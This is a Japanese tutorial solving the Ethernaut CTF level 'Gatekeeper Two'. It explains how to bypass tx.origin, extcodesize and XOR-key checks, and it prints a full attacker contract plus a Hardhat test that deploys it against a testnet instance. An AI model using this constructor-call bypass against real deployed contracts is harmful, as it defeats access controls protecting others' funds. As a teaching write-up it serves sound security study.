Appearance
Ethernaut CTF レベル「Gatekeeper Two」の詳細な技術解説
はじめに
Ethernautは、OpenZeppelinが提供するスマートコントラクトのセキュリティ学習プラットフォームです。本記事では、その中でも特に興味深い「Gatekeeper Two」レベルの技術的な詳細と解決策について、背景知識から具体的な実装までを網羅的に解説します。このレベルは、Ethereumのコントラクト実行モデルとSolidityの低レベル機能に対する深い理解を要求する高度な課題です。
問題の概要
Gatekeeper Twoは、3つの異なるセキュリティゲート(gateOne、gateTwo、gateThree)を通過する必要があるスマートコントラクトです。各ゲートは特定の条件を満たすことを要求し、これらをすべてクリアすることで攻撃が成功します。このレベルでは、Ethereumの実行コンテキスト、アセンブリ言語、ビット演算など、複数の重要な概念を理解する必要があります。
コントラクトの詳細分析
GatekeeperTwoコントラクトの構造
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
ゲート1: msg.sender vs tx.origin
最初のゲートでは、msg.sender != tx.originという条件を満たす必要があります。これは、コントラクトを介した間接的な呼び出しを要求しています。
msg.sender: 現在の関数呼び出しを直接行ったアドレス(コントラクトアドレス)tx.origin: トランザクションを最初に開始したEOA(Externally Owned Account)アドレス
この条件を通過するためには、攻撃用コントラクトからenter関数を呼び出す必要があります。直接EOAから呼び出すと、msg.senderとtx.originが同じになるため条件を満たせません。
ゲート2: extcodesizeの活用
2番目のゲートは、Solidityインラインアセンブリを使用しています:
solidity
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
ここで重要なのはextcodesizeオペコードです。このオペコードは、指定されたアドレスのコントラクトコードのサイズを返します。条件x == 0は、呼び出し元(caller())のコードサイズが0であることを要求しています。
一見矛盾するように見えますが、これはコントラクトのコンストラクタ実行中という特殊な状況を利用します。Ethereum Yellow Paperのセクション7によると、コントラクトのコードはコンストラクタの実行が完了した時点でストレージに保存されます。つまり、コンストラクタ実行中はextcodesizeが0を返します。
ゲート3: ビット演算パズル
3番目のゲートはビット演算を使用した条件チェックです:
solidity
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
この条件を分解すると:
msg.sender(攻撃コントラクトのアドレス)のkeccak256ハッシュを計算- その結果を
bytes8に変換し、さらにuint64に変換 - この値と
_gateKey(uint64に変換)のXOR演算結果がtype(uint64).max(64ビットすべて1)と等しくなる必要がある
数学的には、a ^ b = cのときb = a ^ cが成り立ちます。したがって:
_gateKey = uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max
攻撃戦略の詳細
攻撃コントラクトの設計
攻撃を成功させるためには、以下の条件をすべて満たす必要があります:
- コントラクトから
enter関数を呼び出す(ゲート1) - コンストラクタ内で
enterを呼び出す(ゲート2) - 正しい
_gateKeyを計算する(ゲート3)
完全な攻撃コントラクト
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function entrant() external view returns (address);
function enter(bytes8) external returns (bool);
}
contract Hack {
IGatekeeperTwo private immutable target;
constructor(address _target) {
target = IGatekeeperTwo(_target);
// ゲート3の鍵を計算
uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 k = s ^ type(uint64).max;
bytes8 key = bytes8(k);
// コンストラクタ内でenterを呼び出す(ゲート2を通過)
require(target.enter(key), "Enter fail!");
}
}
鍵計算の詳細解説
攻撃コントラクトの鍵計算部分を詳細に分析します:
solidity
uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 k = s ^ type(uint64).max;
bytes8 key = bytes8(k);
address(this): 攻撃コントラクト自身のアドレスabi.encodePacked(): アドレスをパックされたバイト列にエンコードkeccak256(): ハッシュ値を計算bytes8(): ハッシュ値の最初の8バイトを取得uint64(): 8バイトを64ビット符号なし整数に変換^ type(uint64).max: XOR演算で全ビットを反転bytes8(): 結果を再びbytes8形式に変換
この計算は、ゲート3の条件式を逆算したものです:
s ^ k = type(uint64).max
k = s ^ type(uint64).max
テスト実装と検証
Hardhatテストスクリプト
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GatekeeperTwo, Hack } from "../typechain-types";
describe("GatekeeperTwo", function () {
describe("GatekeeperTwo testnet online sepolia", function () {
it("testnet online sepolia GatekeeperTwo", async function () {
// テストネット上のコントラクトアドレス
const GATEKEEPERTWO_ADDRESS = "0x0C791D1923c738AC8c4ACFD0A60382eE5FF08a23";
// コントラクトABI
const GATEKEEPERTWO_ABI = [
"function entrant() external view returns (address)",
"function enter(bytes8) external returns (bool)",
];
// チャレンジャーのウォレットを取得
const challenger = await ethers.getNamedSigner("deployer");
// GatekeeperTwoコントラクトインスタンスを作成
const gatekeeperTwoContract = new ethers.Contract(
GATEKEEPERTWO_ADDRESS,
GATEKEEPERTWO_ABI,
challenger
);
// Hackコントラクトをデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(GATEKEEPERTWO_ADDRESS)) as Hack;
await hack.waitForDeployment();
// エントラントが正しく設定されたか確認
const entrant = await gatekeeperTwoContract.entrant();
expect(entrant).to.be.equals(challenger.address);
});
});
});
テストの実行フロー
- 環境設定: Hardhat環境の初期化とテストネットへの接続
- コントラクトインスタンス作成: GatekeeperTwoコントラクトへの参照を確立
- 攻撃コントラクトデプロイ: Hackコントラクトをデプロイ(コンストラクタ内で攻撃を実行)
- 結果検証:
entrant変数が攻撃者のアドレスに設定されていることを確認
技術的な背景と学習ポイント
Ethereumの実行コンテキスト
このレベルで学ぶべき重要な概念は、Ethereumの実行コンテキストです:
- EOAとコントラクトアカウント: EOAは秘密鍵で制御され、コントラクトはコードで制御されます
- コンストラクタ実行時の特殊性: コードがまだストレージに保存されていない状態
- 呼び出しチェーン:
tx.originは常に最初のEOAを指します
セキュリティインプリケーション
Gatekeeper Twoから学べるセキュリティ教訓:
extcodesizeの限界: コンストラクタ内での実行を検出できない- 条件付きロジックの脆弱性: 複雑な条件でも数学的に逆算可能
- 外部呼び出しのタイミング: コンストラクタ内での外部呼び出しは危険
実世界での応用
このレベルの技術は、以下のような実世界のシナリオで応用可能です:
- コントラクトの初期化保護: 初期化関数が一度だけ呼び出されることを保証
- 権限管理: 特定の条件下でのみ実行可能な関数の実装
- ガス最適化: アセンブリを使用したガス効率の良いコード実装
まとめ
Gatekeeper Twoレベルは、Ethereumスマートコントラクト開発における高度な概念を学ぶ優れた教材です。msg.senderとtx.originの違い、extcodesizeの動作特性、コンストラクタ実行時の特殊性、ビット演算を用いた条件の逆算など、多岐にわたる技術的要素を含んでいます。
このレベルの解決を通じて、スマートコントラクトのセキュリティ設計における重要な原則を学ぶことができます。特に、一見堅牢に見えるセキュリティチェックでも、Ethereumプラットフォームの特性を深く理解することで回避可能であることを示しています。
今後のスマートコントラクト開発では、このレベルで学んだ教訓を活かし、より堅牢でセキュアなコントラクト設計を心がけることが重要です。単純な条件チェックの組み合わせでは不十分であり、コントラクトの実行コンテキストやEVMの特性を総合的に考慮したセキュリティ設計が必要となります。